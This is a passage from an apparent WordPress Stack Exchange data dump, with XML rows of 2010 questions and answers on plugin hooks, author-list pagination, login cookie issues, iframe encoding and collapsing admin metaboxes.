  <row Id="4359" PostTypeId="1" AcceptedAnswerId="4362" CreationDate="2010-11-21T00:39:50.383" Score="2" ViewCount="51" Body="&lt;p&gt;I'd like to insert some mysql data into every new blog that's created on my buddypress system. How can I hook up to the newly created blog data? ID, for example, would allow me to insert it right from the PHP. Is there a better way to do it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks!&lt;/p&gt;&#xA;" OwnerUserId="785" LastActivityDate="2010-11-21T01:54:39.907" Title="How to run scripts when a new blog is created in Buddypress?" Tags="&lt;buddypress&gt;&lt;mysql&gt;&lt;actions&gt;" AnswerCount="1" />
  <row Id="4360" PostTypeId="1" CreationDate="2010-11-21T00:54:10.290" Score="0" ViewCount="88" Body="&lt;p&gt;When I try to activate All-In-One SEO Pack or ANY (I've tried all by now!) caching plugin, the page goes blank - i.e the content of the page empty, except the WordPress bar on the top and the toolbar on the left. No error is displayed. What is wrong? All other plugins are activated and work just fine! Please help!&lt;/p&gt;&#xA;" OwnerUserId="1606" LastActivityDate="2010-11-30T04:54:51.887" Title="Error activating certain plugins" Tags="&lt;plugins&gt;&lt;wp-admin&gt;&lt;errors&gt;&lt;cache&gt;&lt;all-in-one-seo&gt;" AnswerCount="2" />
  <row Id="4361" PostTypeId="2" ParentId="4360" CreationDate="2010-11-21T01:42:07.260" Score="0" ViewCount="" Body="&lt;ul&gt;&#xA;&lt;li&gt;turn off all the other plugins to see which one causes it&lt;/li&gt;&#xA;&lt;li&gt;turn on debugging in WordPress (debug=true)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-21T01:42:07.260" CommentCount="4" />
  <row Id="4362" PostTypeId="2" ParentId="4359" CreationDate="2010-11-21T01:43:31.380" Score="2" ViewCount="" Body="&lt;p&gt;see: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/4039/how-to-modify-new-sub-blog-immediately-when-super-administrator-creates-it&quot;&gt;How To Modify New Sub Blog Immediately When Super Administrator Creates It?&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The code I wanted to post I unfortunately could not post beacause &quot;body is limited to 30000 characters; you entered 62367&quot; so ... the following filters are handy (from WordPressMU plugin for site admin to set defaults for new blogs, Deanna Schneider) :&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function set_blog_defaults($blog_id, $user_id)&#xA;{&#xA;    global $wp_rewrite, $wpdb, $current_site;&#xA;    switch_to_blog($blog_id);&#xA;            // do stuff&#xA;}&#xA;&#xA;// When a new blog is created, set the options &#xA;add_action('wpmu_new_blog', array(&amp;amp;$cets_wpmubd, 'set_blog_defaults'), 100, 2);&#xA;&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-21T01:54:39.907" LastActivityDate="2010-11-21T01:54:39.907" CommentCount="0" />
  <row Id="4364" PostTypeId="2" ParentId="4346" CreationDate="2010-11-21T02:41:56.907" Score="0" ViewCount="" Body="&lt;p&gt;Alternative? &lt;a href=&quot;http://shibashake.com/wordpress-theme/media-library-plus-plugin&quot; rel=&quot;nofollow&quot;&gt;http://shibashake.com/wordpress-theme/media-library-plus-plugin&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-21T02:41:56.907" CommentCount="1" />
  <row Id="4365" PostTypeId="1" AcceptedAnswerId="4372" CreationDate="2010-11-21T05:35:43.077" Score="0" ViewCount="136" Body="&lt;p&gt;This seems to be a Thematic theme bug becuase if I switch to other themes, everything is working as expected. This is not the first time I created a frontpage using a static page. I made sure I followed this: &lt;a href=&quot;http://codex.wordpress.org/Creating_a_Static_Front_Page&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Creating_a_Static_Front_Page&lt;/a&gt;. Any idea pls? &lt;/p&gt;&#xA;" OwnerUserId="1649" LastEditorUserId="1649" LastEditorDisplayName="" LastEditDate="2010-11-21T06:27:32.897" LastActivityDate="2010-11-21T10:47:31.353" Title="Why does my Posts page only show a single post when using Thematic?" Tags="&lt;3.0.1&gt;&lt;homepage&gt;" AnswerCount="1" />
  <row Id="4366" PostTypeId="1" AcceptedAnswerId="4371" CreationDate="2010-11-21T05:36:34.827" Score="1" ViewCount="130" Body="&lt;p&gt;I'm using an IFRAME to let multiple sites embed one interactive element. On the IFRAME's &lt;a href=&quot;http://necir-bu.org/wp/interactives/sheriffinteract/interactive.html&quot; rel=&quot;nofollow&quot;&gt;actual page&lt;/a&gt; it works fine, and it looks fine on another website I embedded it. But when I embed it in a WordPress blog, all my apostrophes show up as squares.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried removing all smart quotes and apostrophes with &quot;dumb&quot; quotes, no luck.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried replacing all the apostrophes with &amp;#39; and, again, no luck&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any clues what my cause this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The IFRAME code:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;iframe src=&quot;http://necir-bu.org/wp/interactives/sheriffinteract/interactive.html&quot; name=&quot;interactive&quot; scrolling=&quot;no&quot; frameborder=&quot;0&quot; marginheight=&quot;5&quot; align=&quot;center&quot; vspace=&quot;5&quot; widtha&quot;590px&quot; height=&quot;720px&quot;&amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And you can see the interactive code by just viewing the first link&lt;/p&gt;&#xA;" OwnerUserId="1650" LastActivityDate="2010-11-21T09:52:35.670" Title="WordPress kills an IFRAME's apostrophes" Tags="&lt;oembed&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="4367" PostTypeId="1" AcceptedAnswerId="4379" CreationDate="2010-11-21T08:26:41.000" Score="0" ViewCount="175" Body="&lt;p&gt;I've installed a wordpress site for a client.&#xA;The site resides on mttv.co.il&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For some reson I'm being locked out of the system most of the time with no error message displayed&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The system takes the login &amp;amp; password and just redirecs me back to the login page.&#xA;Any help would be much appreciated&lt;/p&gt;&#xA;" OwnerUserId="395" LastActivityDate="2010-11-21T15:15:29.077" Title="Why am I locked out of the system?" Tags="&lt;wp-admin&gt;&lt;login&gt;" AnswerCount="1" CommentCount="8" />
  <row Id="4368" PostTypeId="1" CreationDate="2010-11-21T09:09:59.423" Score="0" ViewCount="1152" Body="&lt;p&gt;Using this solution :&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/3318/paginate-result-set-from-wpdb-get-results&quot;&gt;Paginate result set from $wpdb-&gt;get_results()&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did make my code for Authors list page template as follow:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div&amp;gt;    &#xA;&amp;lt;table id=&quot;mytable&quot;&amp;gt;&amp;lt;tbody&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA; // Get the authors from the database ordered by user's display name&#xA; global $wpdb;&#xA; $query = &quot;SELECT ID, display_name from $wpdb-&amp;gt;users ORDER BY display_name LIMIT 10&quot;;&#xA; $author_ids = $wpdb-&amp;gt;get_results($query);&#xA;$authcount = -1;&#xA;&#xA;$total = $wpdb-&amp;gt;get_var(&quot;&#xA;    SELECT COUNT(ID)&#xA;    FROM $wpdb-&amp;gt;users&#xA;&quot;);&#xA;$authors_per_page = 10;&#xA;$page = isset( $_GET['cpage'] ) ? abs( (int) $_GET['cpage'] ) : 1;&#xA;&#xA;echo paginate_links( array(&#xA;    'base' =&amp;gt; add_query_arg( 'cpage', '%#%' ),&#xA;    'format' =&amp;gt; '',&#xA;    'prev_text' =&amp;gt; __('&amp;amp;laquo;'),&#xA;    'next_text' =&amp;gt; __('&amp;amp;raquo;'),&#xA;    'total' =&amp;gt; ceil($total / $authors_per_page),&#xA;    'current' =&amp;gt; $page&#xA;));&#xA;&#xA; // Loop through each author&#xA; foreach($author_ids as $author) :&#xA; // Get user data&#xA; $curauth = get_userdata($author-&amp;gt;ID);&#xA;&#xA; // If user_ID is 1 or 24, remove them from list&#xA; if( ! in_array($curauth-&amp;gt;ID, array(1, 24 )) ) :&#xA; // Get link to author page&#xA; $user_link = get_author_posts_url($curauth-&amp;gt;ID);&#xA;    $post_count = get_usernumposts($curauth-&amp;gt;ID);&#xA; ?&amp;gt;&#xA;&amp;lt;tr&amp;lt;?php echo $authcount % 2 ? ' class=&quot;odd&quot;' : ''; ?&amp;gt;&amp;gt;&#xA;&amp;lt;td&amp;gt;&#xA;&amp;lt;?php echo $authcount; ?&amp;gt;&#xA;&amp;lt;/td&amp;gt;&amp;lt;th scope=&quot;row&quot;&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php echo $user_link; ?&amp;gt;&quot; title=&quot;&amp;lt;?php echo $curauth-&amp;gt;display_name; ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo $curauth-&amp;gt;display_name; ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/th&amp;gt;&amp;lt;td&amp;gt;&#xA;( &amp;lt;?php echo $post_count; ?&amp;gt; )&#xA;&amp;lt;/td&amp;gt;&amp;lt;/tr&amp;gt;&#xA;&#xA;&amp;lt;?php endif; ?&amp;gt;&#xA;&amp;lt;?php $authcount = $authcount + 1; ?&amp;gt;&#xA;&amp;lt;?php endforeach; ?&amp;gt;&#xA;&#xA;&amp;lt;/tbody&amp;gt;&amp;lt;/table&amp;gt;&amp;lt;br /&amp;gt;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;But every page-number link display only the authors list from 1 to 10, whereas the database have a list of atleast 50-authors.&#xA;Please help me to find out the error and its rectification.&#xA;Thanks a lot.&lt;/p&gt;&#xA;" OwnerUserId="1651" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-21T12:24:43.733" LastActivityDate="2011-05-29T16:09:20.313" Title="Authors list Pagination : result set from $wpdb-&gt;get_results()" Tags="&lt;pagination&gt;&lt;list&gt;&lt;sql&gt;" AnswerCount="3" CommentCount="1" FavoriteCount="1" />
  <row Id="4369" PostTypeId="2" ParentId="4220" CreationDate="2010-11-21T09:12:02.930" Score="1" ViewCount="" Body="&lt;p&gt;surprisingly,I found the answer myself...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using the same function as I used for next/previous post &lt;/p&gt;&#xA;&#xA;&lt;p&gt;(get_adjacent_post() ) &#xA;but sending the the next/previous post which I already found as a parameter&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$in_same_cat = true;&#xA;&#xA;$excluded_categories = '';&#xA;&#xA;$previous = true;&#xA;&#xA;$previous_post = get_adjacent_post($in_same_cat,$excluded_categories,$previous);&#xA;&#xA;$previous_previous_post = &#xA;get_adjacent_post($in_same_cat,$excluded_categories,$previous,$previous_post);&#xA;&#xA;$previous = false;&#xA;&#xA;$next_post = get_adjacent_post($in_same_cat,$excluded_categories,$previous);&#xA;&#xA;$next_next_post = get_adjacent_post($in_same_cat,$excluded_categories,$previous,$next_post); &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but...we haven't finished yet..&#xA;we need to add this code to the function declaration in wp-includes/link-template.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function get_adjacent_post($in_same_cat = false, $excluded_categories = '', $previous = true,$mypost = null) {&#xA;    global  $wpdb;&#xA;&#xA;//if specific post wasnt sent to function it takes the global one and checks if its empty before using it.&#xA;&#xA;    if ( empty( $mypost ) )&#xA;    {&#xA;        global $post;&#xA;        if(empty( $post ))&#xA;            return null;&#xA;        $mypost=$post;&#xA;    }&#xA;//...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1619" LastActivityDate="2010-11-21T09:12:02.930" />
  <row Id="4370" PostTypeId="2" ParentId="4368" CreationDate="2010-11-21T09:13:27.123" Score="3" ViewCount="" Body="&lt;p&gt;Your Query is &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&quot;SELECT ID, display_name from $wpdb-&amp;gt;users ORDER BY display_name **LIMIT 10**&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This Sql statement requests the first 10 authors&lt;/p&gt;&#xA;" OwnerUserId="576" LastActivityDate="2010-11-21T09:13:27.123" CommentCount="1" />
  <row Id="4371" PostTypeId="2" ParentId="4366" CreationDate="2010-11-21T09:47:31.180" Score="0" ViewCount="" Body="&lt;p&gt;The apostrophs get translated in &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;amp;#39;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;for the apostrophs, i guess it is an xss security feature. Check&lt;/p&gt;&#xA;&#xA;&lt;p&gt;settings &gt; reading &gt; encoding (UTF8)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;but im not sure. (maybe the theme sets another encoding fixed in the header instead of reading the global variable). In any case your embed show correct in my WP test post (so with an apostrophe).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Maybe you can set in the code of the iframe also&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;meta http-equiv=&quot;Content-Type&quot; content=&quot;text/html; charset=UTF-8&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="576" LastEditorUserId="576" LastEditorDisplayName="" LastEditDate="2010-11-21T09:52:35.670" LastActivityDate="2010-11-21T09:52:35.670" CommentCount="3" />
  <row Id="4372" PostTypeId="2" ParentId="4365" CreationDate="2010-11-21T10:47:31.353" Score="2" ViewCount="" Body="&lt;p&gt;You should definitely check this page : &lt;a href=&quot;http://themeshaper.com/forums/topic/posts-inside-the-pages-and-subpages&quot; rel=&quot;nofollow&quot;&gt;http://themeshaper.com/forums/topic/posts-inside-the-pages-and-subpages&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1636" LastActivityDate="2010-11-21T10:47:31.353" CommentCount="3" />
  <row Id="4373" PostTypeId="2" ParentId="4307" CreationDate="2010-11-21T11:02:32.027" Score="1" ViewCount="" Body="&lt;p&gt;I think that Magic Fields is what you are looking for : &lt;a href=&quot;http://wordpress.org/extend/plugins/magic-fields/&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/plugins/magic-fields/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1636" LastActivityDate="2010-11-21T11:02:32.027" CommentCount="2" />
  <row Id="4374" PostTypeId="2" ParentId="4368" CreationDate="2010-11-21T12:23:37.430" Score="2" ViewCount="" Body="&lt;p&gt;Like edelwater already wrote, you're missing to properly specify the LIMIT clause for your needs:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The LIMIT clause can be used to constrain the number of rows returned by the SELECT statement. LIMIT takes one or two numeric arguments, which must both be nonnegative integer constants (except when using prepared statements).&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;With two arguments, the first argument specifies the offset of the first row to return, and the second specifies the maximum number of rows to return. The offset of the initial row is 0 (not 1):&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://dev.mysql.com/doc/refman/5.1/en/select.html&quot; rel=&quot;nofollow&quot;&gt;12.2.8. SELECT Syntax (MySQL Manual)&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for a 1 based &lt;code&gt;$page&lt;/code&gt; number, it's (literally) &lt;code&gt;LIMIT ($page-1) * $pagesize, $pagesize&lt;/code&gt; where &lt;code&gt;$pagesize&lt;/code&gt; is 10 in your case.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-21T12:23:37.430" CommentCount="5" />
  <row Id="4376" PostTypeId="1" AcceptedAnswerId="4389" CreationDate="2010-11-21T13:27:47.120" Score="1" ViewCount="213" Body="&lt;p&gt;I have a multi lingual site.&#xA;On the site I want to display youtube movies using fancybox (or any other equivalent solution)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin is installed and set.&#xA;When checked on the He version - all works well.&#xA;On En on the other side, it redirects to youtube.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EN: &lt;a href=&quot;http://www.mtbsuisse.com/en/category/videos/&quot; rel=&quot;nofollow&quot;&gt;http://www.mtbsuisse.com/en/category/videos/&lt;/a&gt;&#xA;HE:  &lt;a href=&quot;http://www.mtbsuisse.com/category/videos/&quot; rel=&quot;nofollow&quot;&gt;http://www.mtbsuisse.com/category/videos/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea why this happens ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using qtranslate for the multilingual support&lt;/p&gt;&#xA;&#xA;&lt;p&gt;*Changed site default to HE for now&lt;/p&gt;&#xA;" OwnerUserId="395" LastEditorUserId="395" LastEditorDisplayName="" LastEditDate="2010-11-21T16:39:55.883" LastActivityDate="2010-11-21T22:15:31.703" Title="Fancy-box Esay wordpress plugin fails to work on Multilingual site" Tags="&lt;theme-development&gt;&lt;jquery&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="4377" PostTypeId="2" ParentId="4376" CreationDate="2010-11-21T14:02:41.543" Score="2" ViewCount="" Body="&lt;p&gt;You are most certainly experience a &quot;incompatibility&quot; between the add-on that you use for multiple languages and the &lt;a href=&quot;http://wordpress.org/extend/plugins/easy-fancybox/&quot; rel=&quot;nofollow&quot;&gt;Easy Fancy-box (wordpress Plugin)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Wordpress does not support multiple languages natively, most of the plugins available do not support it either. For more information about multiple languages, please see &lt;a href=&quot;http://wordpress.stackexchange.com/questions/725/what-are-options-are-there-to-implement-a-multi-language-site&quot;&gt;What are options are there to implement a multi language site&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To find a solution for your issue, you need to find out how a plugin can support your multi-languages feature. You have not written how you added multiple languages to your blog, so this can not be answered with your question. If done by a plugin you normally find the information for that on the plugins homepage or forum or in the &lt;a href=&quot;http://wordpress.org/support/&quot; rel=&quot;nofollow&quot;&gt;wordpress support forums&lt;/a&gt; provided by other users.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Update:&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Now that you added that you're using the &lt;a href=&quot;http://wordpress.org/extend/plugins/qtranslate/&quot; rel=&quot;nofollow&quot;&gt;qtranslate (Wordpress Plugin)&lt;/a&gt;, you can do the following: Ensure that this is not a configuration issue on your side. If not, get in contact with the author of the fancybox plugin and tell that you would love to see it offering compability with a multi-lingual site with qtranslate. qtranslate is quite popular so some plugin authors are willing to add support for it. &lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-21T14:53:56.897" LastActivityDate="2010-11-21T14:53:56.897" />
  <row Id="4378" PostTypeId="2" ParentId="4259" CreationDate="2010-11-21T14:26:40.540" Score="2" ViewCount="" Body="&lt;p&gt;As already suggested in a comment above of mine, technically a (cookie based) session is limited to one IP at a time by using the &lt;a href=&quot;http://wordpress.org/extend/plugins/safer-cookies/&quot; rel=&quot;nofollow&quot;&gt;Safer Cookies (Wordpress Plugin)&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This does not prevent to allow another login with the same username and password because it is a feature of wordpress to allow you to login multiple times with your credentials and therefore with multiple IPs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What you would like to achieve is to prevent multiple logins at all then. &lt;a href=&quot;http://wordpress.org/support/topic/prevent-multiple-login-using-a-single-id&quot; rel=&quot;nofollow&quot;&gt;According to Otto&lt;/a&gt;, this is not trivial. &lt;a href=&quot;http://wordpress.org/support/topic/block-multiple-logins-at-different-locations&quot; rel=&quot;nofollow&quot;&gt;Stacy writes&lt;/a&gt;, that the &lt;a href=&quot;http://member.wishlistproducts.com/12-ip-login-protection-wp2/&quot; rel=&quot;nofollow&quot;&gt;Wishlist Member (Wordpress Plugin)&lt;/a&gt; has such a functionality built in: &lt;a href=&quot;http://member.wishlistproducts.com/12-ip-login-protection-wp2/&quot; rel=&quot;nofollow&quot;&gt;IP-Login Protection&lt;/a&gt;. So probably that plugin or part thereof is a solution to your issue. &lt;a href=&quot;http://en.wikipedia.org/wiki/IANAL&quot; rel=&quot;nofollow&quot;&gt;IANAL&lt;/a&gt;, but that plugin is violating the GPL license as it &lt;a href=&quot;http://member.wishlistproducts.com/faq/#faq_4&quot; rel=&quot;nofollow&quot;&gt;restricts you to make use of your wordpress derivate&lt;/a&gt;. I would not use it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But probably there is another plugin out there available, or it's quite easy to extend &lt;a href=&quot;http://wordpress.org/extend/plugins/login-lockdown/&quot; rel=&quot;nofollow&quot;&gt;Login LockDown (Wordpress Plugin)&lt;/a&gt; to bind the whole session to the last valid IP recorded.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-21T14:26:40.540" />
  <row Id="4379" PostTypeId="2" ParentId="4367" CreationDate="2010-11-21T15:15:29.077" Score="3" ViewCount="" Body="&lt;p&gt;If worpdress redirects you back to the login and password page (and not displaying any info that login/password was wrong), this is a sign that the login session is broken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most often this is related to cookies. Wordpress needs cookies for you to login. If cookies are not properly set or deleted later or are just mis-configured (there are some configuration constants available to control those, see in codex &lt;a href=&quot;http://codex.wordpress.org/WordPress_Cookies&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt; and &lt;a href=&quot;http://codex.wordpress.org/Editing_wp-config.php&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can tackle cookie issues down by using your browser and check which cookies are set or not set. Compare that with the information provided in codex to verify if that is your issue or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If cookies are properly created, transfered from server to browser and then back from the browser to the server on the next request, then this is not a cookie issue. Something else then prevents on your blog to keep the login session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As the wordpress login session relies heavily con cookies, most often such issues are cookie related, because there is not much more to break. But sure, incompatible add-ons can break everything, so as well for that issue.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you experience it only on one computer with one browser, give the computer a reboot. Probably you just had a hick-up somewhere and this solves stuff. Keep in mind that some firewalls block cookies or referrers. Blocking referrers can create problems to login: &lt;a href=&quot;http://hakre.wordpress.com/2010/05/26/you-do-not-have-sufficient-permissions-to-access-this-page/&quot; rel=&quot;nofollow&quot;&gt;http://hakre.wordpress.com/2010/05/26/you-do-not-have-sufficient-permissions-to-access-this-page/&lt;/a&gt; - But normally this creates a different behavior.&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-11-21T15:15:29.077" />
  <row Id="4380" PostTypeId="2" ParentId="2565" CreationDate="2010-11-21T16:07:01.310" Score="1" ViewCount="" Body="&lt;p&gt;You could also use a plugin - like &lt;a href=&quot;http://www.mlynn.org/graceful-sidebar-plugin&quot; rel=&quot;nofollow&quot;&gt;http://www.mlynn.org/graceful-sidebar-plugin&lt;/a&gt; that I just wrote and plublished.  The Graceful Sidebar Plugin creates a widget that enables you to use custom fields in a post or page that display in the sidebar.  You can use it to display custom html or a simple message.  The custom fields it uses are graceful_title and graceful_content. &lt;/p&gt;&#xA;" LastActivityDate="2010-11-21T16:07:01.310" />
  <row Id="4381" PostTypeId="1" AcceptedAnswerId="4383" CreationDate="2010-11-21T16:28:26.720" Score="2" ViewCount="546" Body="&lt;p&gt;I've created some custom metaboxes for my post write screen.  Is there any way to make some of them display collapsed by default?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just in case I'm not using the correct terms or not being clear in my question I will elaborate:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The metaboxes on the post write screen have a toggle switch in the upper right hand corner of the box.  If you mouse over this area, it shows a little downward arrow and the words &quot;Click to toggle&quot;.  When you click it, the metabox collapses, hiding the contents and only showing the metabox's title bar.  I am not talking about the Screen Options which make the entire metaboxes disappear (only on the given account).  I just want certain metaboxes to display in the collapsed mode by default for all WP users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;UPDATE:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After reading in Hakre's answer that they toggle state is stored for the user I wanted to add some clarification on how I'd like it to work.  I'm not sure if this is possible but I'd like the metaboxes to default to collapased when the post is new, then as the user expands them they should expand, however I want those settings to stay local to the specific post, so when they create a new post all of the metaboxes are collapsed.&lt;/p&gt;&#xA;" OwnerUserId="765" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-01-06T13:21:32.983" LastActivityDate="2011-01-06T13:21:32.983" Title="Make Custom Metaboxes Collapse by Default" Tags="&lt;customization&gt;&lt;metabox&gt;&lt;collapse&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="4382" PostTypeId="2" ParentId="4346" CreationDate="2010-11-21T16:43:10.813" Score="1" ViewCount="" Body="&lt;p&gt;It depends exactly where you want the images to display on the site, whether you mean in posts, a slideshow or gallery view etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could however use the 'manage gallery' options and check the box 'exclude' next to the photo you don't want to display.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can clarify you requirements, as well as nextgen gallery plugin version, I may be able to give you a better suggestion.&lt;/p&gt;&#xA;" OwnerUserId="1532" LastActivityDate="2010-11-21T16:43:10.813" CommentCount="2" />
  <row Id="4383" PostTypeId="2" ParentId="4381" CreationDate="2010-11-21T17:39:50.497" Score="4" ViewCount="" Body="&lt;p&gt;To display a metabox collapsed or closed by default, it is good to know that adding &lt;code&gt;closed&lt;/code&gt; to it's class attribute will display it closed. All meta-boxes main divs that have &lt;code&gt;closed&lt;/code&gt; in their classname, are displayed in the closed form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When the arrow is clicked it will be removed or added (toggled). This is done interactively on the post editor page. Manually adding the &lt;code&gt;closed&lt;/code&gt; classname does only work if you do that in your browser with a developer tool like firebug or similar.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As Wordpress normally tracks the status of the toggle state of each metabox, you should take care to only initially set the toggle state to close the first time a specific user is visiting the editor or is added to users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The data which of those metaboxes are closed is stored inside the users options, each time you toggle a box, there will be an ajax request that is storing it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;update_user_option($user-&amp;gt;ID, &quot;closedpostboxes_$page&quot;, $closed, true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;$closed&lt;/code&gt; is a comma-seperated list of all metaboxes IDs that are closed. &lt;code&gt;$page&lt;/code&gt; is set to &quot;post&quot; for the post editor (the one you asked for). So when a new user is created (or the plugin is installed for all existing users), you can extend that setting with the ID of your metabox. This should do the job.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The only thing you need to know is the ID of your metabox, but I'm pretty sure you know that one already. If not, check your code where you register the metabox.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Additionally, next to the ones that are closed, you can also set those which are hidden btw, which would correspond to the checkboxes. It's the &lt;code&gt;hiddenpostboxes_$page&lt;/code&gt; option then.&lt;/p&gt;&#xA;&#xA;&lt;h1&gt;Update&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;Some code snipped on how to add the option:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function collapseBoxForUser($userId, $page, $boxId) {&#xA;    $optionName = &quot;closedpostboxes_$page&quot;;&#xA;    $close = get_user_option($optionName, $userId);&#xA;    $closeIds = explode(',', $close);&#xA;    $closeIds[] = $boxId;&#xA;    $closeIds = array_unique($clodeIds); // remove duplicate Ids&#xA;    $close = implode(',', $closeIds);&#xA;    update_user_option($userId, $optionName, $close);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;just call that function with the proper values and it will insert your boxId into the value. Next time the editor is loading that value for the screen (e.g. via an ajax request), it should display that box closed.&lt;/p&gt;&#xA;" OwnerUserId="178" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2010-11-21T20:46:05.353" LastActivityDate="2010-11-21T20:46:05.353" CommentCount="12" />
  <row Id="4384" PostTypeId="1" CreationDate="2010-11-21T17:40:04.267" Score="0" ViewCount="435" Body="&lt;p&gt;I am implementing WP as a CMS for my church's website.  This is the first WP install where I'm doing a lot of the custom coding myself instead of just finding plugins and a stock theme.  As I am a bit unfamiliar with the new menu system, I have hit one snag that I cannot figure out.  We have divided our site into &quot;sections&quot; via a customized top navigation (consisting of things like &quot;About&quot;, &quot;Religious Education&quot;, &quot;Media&quot;, &quot;Pastor's Blog&quot;, etc.  We are creating custom menus in the admin for each of these sections.  What I would like to is to have a left nav that &quot;follows&quot; the user through the sections.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example Menu:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Section1 -&gt; Page1-&gt; Link to CategoryList1 -&gt; Post23&lt;br/&gt;&#xA;Section2 -&gt; Page4-&gt; Link to CategoryList1 -&gt; Post23&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In both of these cases, I can get to 